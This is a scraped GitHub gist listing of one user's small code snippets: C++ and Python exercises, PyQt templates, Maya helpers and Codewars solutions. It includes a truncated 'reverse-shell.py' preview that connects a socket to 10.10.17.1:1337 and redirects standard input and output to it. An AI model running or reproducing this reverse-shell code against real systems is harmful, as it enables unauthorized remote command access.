Skip to content

Instantly share code, notes, and snippets.

View SlyCodePanda's full-sized avatar
🤖
Working

Renee Marsland SlyCodePanda

🤖
Working
View GitHub Profile
@SlyCodePanda
SlyCodePanda / binaryConverter.cpp
Last active May 3, 2018 02:39
Base10 to Base2 Converter
#include <iostream>
#include <bitset>
using namespace std;
// Convert base 10 number to base 2.
string binary(int num)
{
bitset<16> bin(num);
string binrayString = bin.to_string();
@SlyCodePanda
SlyCodePanda / CrapsSimulation.py
Created June 6, 2018 07:08
Simulates 5000 games of Craps and works out the probability of winning a game, and the average number of times the dice is rolled per game.
from __future__ import division
import random
numRolls = 0 # Number of times the dice is rolled.
# generates a random number between 1 and 6, like rolling a 6 sided die.
def rollDice() :
return random.randint(1, 6)
# Simulate this 5000 times, then to get the prob of winning, do (numb of times won/numb of times simumalted).
@SlyCodePanda
SlyCodePanda / findingPercentage.py
Created December 19, 2018 04:31
Learning to use pytest with a HackerRank challenge.
def main():
n = int(input())
student_marks = {}
for _ in range(n):
name, *line = input().split()
scores = list(map(float, line))
student_marks[name] = scores
query_name = input()
result = sum(student_marks[name])/n
@SlyCodePanda
SlyCodePanda / emptyPyQtApp.py
Last active April 12, 2019 07:55
Stuff for PyQt quick creations
import sys
from PyQt4 import QtGui, QtCore
from PyQt4.QtCore import Qt
class Main(QtGui.QMainWindow):
def __init__(self, parent = None):
QtGui.QMainWindow.__init__(self,parent)
self.initUI()
@SlyCodePanda
SlyCodePanda / decorators_01.py
Last active May 27, 2019 14:38
A step-by-step of how decorators work in Python (ref: Decoding the mysterious Python Decorator - Preyansh Shah)
'''
Functions can return other functions.
Lets look at an example of how inner functions can use the enclosing scope of the outer function.
Known in Python as "Closure".
'''
def outer_func(name):
def inner_func():
return "We are using the name {} inside inner_func".format(name)
return inner_func
@SlyCodePanda
SlyCodePanda / getShapes.py
Last active June 24, 2019 07:54
Handy snippets for quick maya python scripts.
# Get the shape node that is hidden in the transform.
selected_items = cmds.ls(selection=True)
if selected_items:
shapes = cmds.listRelatives(selected_items[0], shapes=True)
if shapes:
print shapes[0]
@SlyCodePanda
SlyCodePanda / reverse-shell.py
Created December 13, 2019 07:04
Reverse Shell in Python
# https://www.thepythoncode.com/article/create-reverse-shell-python
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.17.1", 1337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
# Python has a HTTP server built into the std library.
# Python 3.x
python3 -m http.server
Python 2.x
python -m SimpleHTTPServer 8000
# These will server the current directory as http://localhost:8000
@SlyCodePanda
SlyCodePanda / digitalClock.py
Last active February 17, 2020 05:20
Code for creating a digital clock
import sys
from PyQt4 import QtGui, QtCore
from time import strftime
'''
http://thecodeinn.blogspot.com/2013/07/tutorial-pyqt-digital-clock.html
'''
class Main(QtGui.QMainWindow):
@SlyCodePanda
SlyCodePanda / countLettersAndDigits.py
Last active February 18, 2020 00:52
A bunch of Code Wars challenges I have done. Frist function is mine, second is best voted answer.
'''
create a method that can determine how many letters and digits are in a given string.
Example:
"hel2!lo" --> 6
"wicked .. !" --> 6
"!?..A" --> 1
'''